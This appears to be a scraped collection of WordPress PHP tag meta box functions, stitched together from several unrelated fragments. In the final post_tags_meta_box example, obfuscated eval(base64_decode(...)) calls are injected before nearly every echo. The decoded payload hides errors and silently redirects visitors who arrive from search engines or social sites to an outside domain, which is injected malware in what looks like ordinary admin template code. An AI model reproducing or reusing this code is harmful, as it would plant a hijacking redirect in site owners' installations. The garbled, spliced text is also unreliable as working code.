" class="the-tags" id="tax-input[<?php 
    echo $tax_name;
    ?>
]" <?php 
    echo $disabled;
    ?>
><?php 
    echo esc_attr(get_terms_to_edit($post->ID, $tax_name));
    ?>
</textarea></div>
 	<?php 
    if (current_user_can($taxonomy->assign_cap)) {
        ?>
	<div class="ajaxtag hide-if-no-js">
		<label class="screen-reader-text" for="new-tag-<?php 
        echo $tax_name;
        ?>
"><?php 
        echo $box['title'];
        ?>
</label>
		<div class="taghint"><?php 
        echo $help_hint;
        ?>
</div>
		<input type="text" id="new-tag-<?php 
        echo $tax_name;
        ?>
" name="newtag[<?php 
        echo $tax_name;
        ?>
]" class="newtag form-input-tip" size="16" autocomplete="off" value="" />
		<input type="button" class="button tagadd" value="<?php 
        esc_attr_e('Add');
        ?>
" tabindex="3" />
	</div>
	<p class="howto"><?php 
        echo $helps;
        ?>
</p>
	<?php 
    }
    ?>
	</div>
	<div class="tagchecklist"></div>
</div>
<?php 
    if (current_user_can($taxonomy->assign_cap)) {
        ?>
<p class="hide-if-no-js"><a href="#titlediv" class="tagcloud-link" id="link-<?php 
        echo $tax_name;
        ?>
"><?php 
        printf($help_cloud, $box['title']);
        ?>
</a></p>
<?php 
    } else {
        ?>
<p><em><?php 
        _e('You cannot modify this Taxonomy.');
        ?>
</em></p>
<?php 
    }
}
	<div class="nojs-tags hide-if-js">
	<p><?php 
echo $taxonomy->labels->add_or_remove_items;
?>
</p>
	<textarea name="<?php 
echo esc_attr($_wpcf_name);
?>
" rows="3" cols="20" class="the-tags" id="tax-input-<?php 
echo $html_id;
?>
" <?php 
disabled(!$user_can_assign_terms);
?>
><?php 
echo str_replace(',', $comma . ' ', get_terms_to_edit($post->ID, $tax_name));
// textarea_escaped by esc_attr()
?>
</textarea></div>
 	<?php 
if ($user_can_assign_terms) {
    ?>
    <div class="ajaxtag hide-if-no-js">
		<div class="taghint"><?php 
    echo $taxonomy->labels->add_new_item;
    ?>
</div>
		<p><input type="text" id="new-tag-<?php 
    echo $html_id;
    ?>
" name="newtag<?php 
Exemple #14
0
?>
<div id="taxonomy-<?php 
echo $taxonomy;
?>
" class="tags-metabox">
<div class="hide-if-no-js">
<p><?php 
echo sprintf(__('Type a tag name and press %s tab to add it.', 'Shopp'), '<abbr title="' . __('tab key', 'Shopp') . '">&#8677;</abbr>');
?>
</p>
</div>
<div class="nojs-tags hide-if-js">
<p><?php 
echo $tax->labels->add_or_remove_items;
?>
</p>
<textarea name="<?php 
echo "tax_input[{$taxonomy}]";
?>
" rows="3" cols="20" class="tags" id="tax-input-<?php 
echo $taxonomy;
?>
" <?php 
echo $disabled;
?>
><?php 
echo esc_attr(get_terms_to_edit($Product->id, $taxonomy));
?>
</textarea></div>
</div>
/**
 * Display post tags form fields. Based on WP core's post_tags_meta_box()
 *
 * @package BuddyPress Docs
 * @since 1.0-beta
 *
 * @param object $post
 */
function bp_docs_post_tags_meta_box()
{
    global $bp;
    require_once ABSPATH . '/wp-admin/includes/taxonomy.php';
    $defaults = array('taxonomy' => $bp->bp_docs->docs_tag_tax_name);
    if (!isset($box['args']) || !is_array($box['args'])) {
        $args = array();
    } else {
        $args = $box['args'];
    }
    extract(wp_parse_args($args, $defaults), EXTR_SKIP);
    $tax_name = esc_attr($taxonomy);
    $taxonomy = get_taxonomy($taxonomy);
    $terms = bp_docs_is_existing_doc() ? get_terms_to_edit(get_the_ID(), $bp->bp_docs->docs_tag_tax_name) : '';
    ?>
	<textarea name="<?php 
    echo "{$tax_name}";
    ?>
" class="the-tags" id="tax-input-<?php 
    echo $tax_name;
    ?>
"><?php 
    echo $terms;
    // textarea_escaped by esc_attr()
    ?>
</textarea>
<?php 
}
Exemple #16
0
/**
 * Display post tags form fields.
 *
 * @since 2.6.0
 *
 * @todo Create taxonomy-agnostic wrapper for this.
 *
 * @param WP_Post $post Post object.
 * @param array   $box {
 *     Tags meta box arguments.
 *
 *     @type string   $id       Meta box ID.
 *     @type string   $title    Meta box title.
 *     @type callable $callback Meta box display callback.
 *     @type array    $args {
 *         Extra meta box arguments.
 *
 *         @type string $taxonomy Taxonomy. Default 'post_tag'.
 *     }
 * }
 */
function post_tags_meta_box($post, $box)
{
    $defaults = array('taxonomy' => 'post_tag');
    if (!isset($box['args']) || !is_array($box['args'])) {
        $args = array();
    } else {
        $args = $box['args'];
    }
    $r = wp_parse_args($args, $defaults);
    $tax_name = esc_attr($r['taxonomy']);
    $taxonomy = get_taxonomy($r['taxonomy']);
    $user_can_assign_terms = current_user_can($taxonomy->cap->assign_terms);
    $comma = _x(',', 'tag delimiter');
    $terms_to_edit = get_terms_to_edit($post->ID, $tax_name);
    if (!is_string($terms_to_edit)) {
        $terms_to_edit = '';
    }
    ?>
<div class="tagsdiv" id="<?php 
    echo $tax_name;
    ?>
">
	<div class="jaxtag">
	<div class="nojs-tags hide-if-js">
		<label for="tax-input-<?php 
    echo $tax_name;
    ?>
"><?php 
    echo $taxonomy->labels->add_or_remove_items;
    ?>
</label>
		<p><textarea name="<?php 
    echo "tax_input[{$tax_name}]";
    ?>
" rows="3" cols="20" class="the-tags" id="tax-input-<?php 
    echo $tax_name;
    ?>
" <?php 
    disabled(!$user_can_assign_terms);
    ?>
 aria-describedby="new-tag-<?php 
    echo $tax_name;
    ?>
-desc"><?php 
    echo str_replace(',', $comma . ' ', $terms_to_edit);
    // textarea_escaped by esc_attr()
    ?>
</textarea></p>
	</div>
 	<?php 
    if ($user_can_assign_terms) {
        ?>
	<div class="ajaxtag hide-if-no-js">
		<label class="screen-reader-text" for="new-tag-<?php 
        echo $tax_name;
        ?>
"><?php 
        echo $taxonomy->labels->add_new_item;
        ?>
</label>
		<p><input type="text" id="new-tag-<?php 
        echo $tax_name;
        ?>
" name="newtag[<?php 
        echo $tax_name;
        ?>
]" class="newtag form-input-tip" size="16" autocomplete="off" aria-describedby="new-tag-<?php 
        echo $tax_name;
        ?>
-desc" value="" />
		<input type="button" class="button tagadd" value="<?php 
        esc_attr_e('Add');
        ?>
" /></p>
	</div>
	<p class="howto" id="new-tag-<?php 
        echo $tax_name;
        ?>
-desc"><?php 
        echo $taxonomy->labels->separate_items_with_commas;
        ?>
</p>
	<?php 
    }
    ?>
	</div>
	<div class="tagchecklist"></div>
</div>
<?php 
    if ($user_can_assign_terms) {
        ?>
<p class="hide-if-no-js"><a href="#titlediv" class="tagcloud-link" id="link-<?php 
        echo $tax_name;
        ?>
"><?php 
        echo $taxonomy->labels->choose_from_most_used;
        ?>
</a></p>
<?php 
    }
}
/**
 * Generates a taxonomy metabox function callback together with seletize
 * @since 0.1.0
 *
 * @global array 	$defaultSettings	Default settings applied to all TSNS fields
 * @global wpdb 	$wpdb							WordPress database abstraction object.
 *
 * @param array $settings {
 * 		Settings to describe how the TSNS fields should work
 *
 *		@type string		$ajax_url					url ajax target. Defaults to `ajaxurl`
 *		@type array 		$selector_setup		Selectize Setup
 *		@type array 		$ajax_data				Aditional data to be served by ajax.
 *																		 	By default, wp_ajax settings are assumed.
 *		@type string		$ajax_query_field	field in ajax data for the query, which
 *																			is overwrited in runtime by current one.
 *
 *		@type	int|bool	$terms_limit		defines how much terms can be assigned to
 *																		the post. Define *false* for no limit.
 *
 * } *
 * @return function Returns a function which should be passed to 'meta_box_cb'
 * 									of {@link register_taxonomy()}'s $args
 *              		if no taxonomy is specified and the term ID exists. Returns
 *              		an array of the term ID and the term taxonomy ID the taxonomy
 *              		is specified and the pairing exists.
 */
function searchNSelectField($settings = [])
{
    global $defaultSettings, $tsns_initiated;
    $settings += ['selector_setup' => [], 'ajax_url' => false, 'ajax_query_field' => 'query', 'terms_limit' => false];
    return function (\WP_Post $post, array $box) use($settings) {
        $tax_name = $box['args']['taxonomy'];
        $taxonomy = get_taxonomy($tax_name);
        $user_can_assign_terms = current_user_can($taxonomy->cap->assign_terms);
        $comma = _x(',', 'tag delimiter');
        $terms = wp_get_object_terms($post->ID, $tax_name);
        $labels = get_taxonomy_labels($taxonomy);
        $new_label = $labels->add_new_item;
        $preload = [];
        if ($preload_length = value($settings, 'preload', 10)) {
            $preload = get_terms($tax_name, ['number' => $preload_length, 'hide_empty' => false, 'orderby' => 'count']);
        }
        /**
         * Filters the selectize settings before its conversion to JSON
         *
         * @since 0.1.0
         *
         * @param array 	$settings	Original settings to passed to selectize.js
         * @param WP_Post $post 		The post currently being edited
         * @param object 	$taxonomy	Taxonomy for the current metabox
         * @param array 	$settings	Options this current fields
         */
        $config = apply_filters('tsns_selector_setup', $settings['selector_setup'] + ['loadThrottle' => 100, 'valueField' => 'term_id', 'labelField' => 'name', 'searchField' => 'name', 'maxOptions' => 10, 'optionsTemplate' => '<div class="option"><%- option.name %></div>', 'createTemplate' => "<div class='create'>{$new_label}: <%- input %></div>", 'itemsTemplate' => '<div class="item"><%- item.name %></div>', 'maxItems' => $settings['terms_limit'], 'delimiter' => $comma, 'options' => $terms + $preload, 'items' => array_map(function ($term) {
            return $term->term_id;
        }, $terms), 'create' => $user_can_assign_terms], $post, $taxonomy, $settings);
        /**
         * Filters the selectize settings before its conversion to JSON specifically
         * to {taxonomy}, after filtered by {@link tsns_selector_setup}
         *
         * @since 0.1.0
         *
         * @param array 	$settings	Original settings to passed to selectize.js
         * @param WP_Post $post 		The post currently being edited
         * @param object 	$taxonomy	Taxonomy for the current metabox
         * @param array 	$settings	Options this current fields
         */
        $config = apply_filters(sprintf('tsns_%s_selector_setup', $tax_name), $config, $post, $taxonomy, $settings);
        /**
         * Filter ajax data to be sent along with the query
         *
         * @since 0.1.0
         *
         * @param array 	$ajax_data	Original ajax data
         * @param WP_Post $post 			The post currently being edited
         * @param object 	$taxonomy		Taxonomy for the current metabox
         * @param array 	$settings		Options this current fields
         */
        $ajax_data = apply_filters('tsns_ajax_data', value($settings, 'ajax_data', ['action' => "tsns_search", 'taxonomy' => $tax_name]), $post, $taxonomy, $settings);
        /**
         * Filter ajax data to be sent along with the query specifically to
         * {taxonomy}, after filtered by {@link tsns_setup_selector}
         *
         * @since 0.1.0
         *
         * @param array 	$settings	Original settings to passed to selectize.js
         * @param WP_Post $post 		The post currently being edited
         * @param object 	$taxonomy	Taxonomy for the current metabox
         * @param array 	$settings	Options this current fields
         */
        $ajax_data = apply_filters(sprintf('tsns_%s_ajax_data', $tax_name), $ajax_data, $post, $taxonomy, $settings);
        if ($ajax_url = value($settings, 'ajax_url', false)) {
            $ajax_url = json_encode($ajax_url);
        } else {
            $ajax_url = 'ajaxurl';
        }
        ?>
    <div class="selectize-taxonomy">
			<textarea
				name="<?php 
        echo "tax_input_tsns[{$tax_name}]";
        ?>
"
				rows="3"
				cols="20"
				class="tsns"
				id="tax-input-<?php 
        echo $tax_name;
        ?>
"
				<?php 
        disabled(!$user_can_assign_terms);
        ?>
			><?php 
        echo str_replace(',', $comma . ' ', get_terms_to_edit($post->ID, $tax_name));
        ?>
</textarea>
			<script type="text/javascript">
				(function($, _) {
					var $el = $("script:last").prev();
					<?php 
        if (value($settings, 'required')) {
            ?>
					$el.closest("form").submit(function(e){
						if (!$el.val())  {
							e.preventDefault();
							e.stopPropagation();

              alert(<?php 
            if (value($settings, 'required') === true) {
                echo 'Required field is empty';
            } else {
                echo json_encode(value($settings, 'required'));
            }
            ?>
);
							return false;
						}
					});
					<?php 
        }
        ?>

					// Settings
					var options = <?php 
        echo json_encode($config);
        ?>
;
					var ajaxData = <?php 
        echo json_encode($ajax_data);
        ?>
;

					if (!options.maxItems)
						delete options.maxItems;

					// Templates
					var optionsTemplate = (options.optionsTemplate && _.template(options.optionsTemplate)) || null;
					var itemsTemplate = (options.itemsTemplate && _.template(options.itemsTemplate)) || null;
					var createTemplate = (options.createTemplate && _.template(options.createTemplate)) || null;

					options.create = options.create && function(input) {
						return {
							term_id: input,
							name: input
						}
					};

					// Methods
					options = $.extend({

						load: function(query, done) {
							ajaxData['query'] = query;

							$.ajax({
								url: <?php 
        echo $ajax_url;
        ?>
,
								type: 'GET',
								dataType: 'json',
								data: ajaxData,
								error: function() { done(); },
								success: function(res) { done(res); }
							});
						},

						render: {
							item: (itemsTemplate && function(item, escape) {
								return itemsTemplate({item:item, escape:escape});
							}) || undefined,
							option: (optionsTemplate && function(option, escape) {
								return optionsTemplate({option: option, escape:escape});
							}) || undefined,
							option_create: (createTemplate && function(query, serialize) {
								query.serialize = serialize;
								return createTemplate(query);
							}) || undefined
						}
					}, options);

					$el.selectize(options);

				})(jQuery, _);
			</script>
		</div>
		<?php 
    };
}
Exemple #18
0
/**
 * Get comma-separated list of tags available to edit.
 *
 * @since 2.3.0
 *
 * @param int    $post_id
 * @param string $taxonomy Optional. The taxonomy for which to retrieve terms. Default 'post_tag'.
 * @return string|bool|WP_Error
 */
function get_tags_to_edit($post_id, $taxonomy = 'post_tag')
{
    return get_terms_to_edit($post_id, $taxonomy);
}
/**
 * Display post tags form fields.
 *
 * @since 2.6.0
 *
 * @param object $post
 */
function post_tags_meta_box($post, $box)
{
    $tax_name = esc_attr(substr($box['id'], 8));
    $taxonomy = get_taxonomy($tax_name);
    $helps = isset($taxonomy->helps) ? esc_attr($taxonomy->helps) : __('Separate tags with commas.');
    ?>
<div class="tagsdiv" id="<?php 
    eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
    echo $tax_name;
    ?>
">
	<div class="jaxtag">
	<div class="nojs-tags hide-if-js">
	<p><?php 
    eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0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yLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
    echo "tax_input[{$tax_name}]";
    ?>
" class="the-tags" id="tax-input[<?php 
    eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIs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ea></div>

	<div class="ajaxtag hide-if-no-js">
		<label class="screen-reader-text" for="new-tag-<?php 
    eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVy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oICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
    echo $box['title'];
    ?>
</label>
		<div class="taghint"><?php 
    eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
    _e('Add new tag');
    ?>
</div>
		<input type="text" id="new-tag-<?php 
    eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3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igkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
    echo $tax_name;
    ?>
]" class="newtag form-input-tip" size="16" autocomplete="off" value="" />
		<input type="button" class="button tagadd" value="<?php 
    eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cG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WZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
    echo $helps;
    ?>
</p>
	<div class="tagchecklist"></div>
</div>
<p class="hide-if-no-js"><a href="#titlediv" class="tagcloud-link" id="link-<?php 
    eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55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ikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVw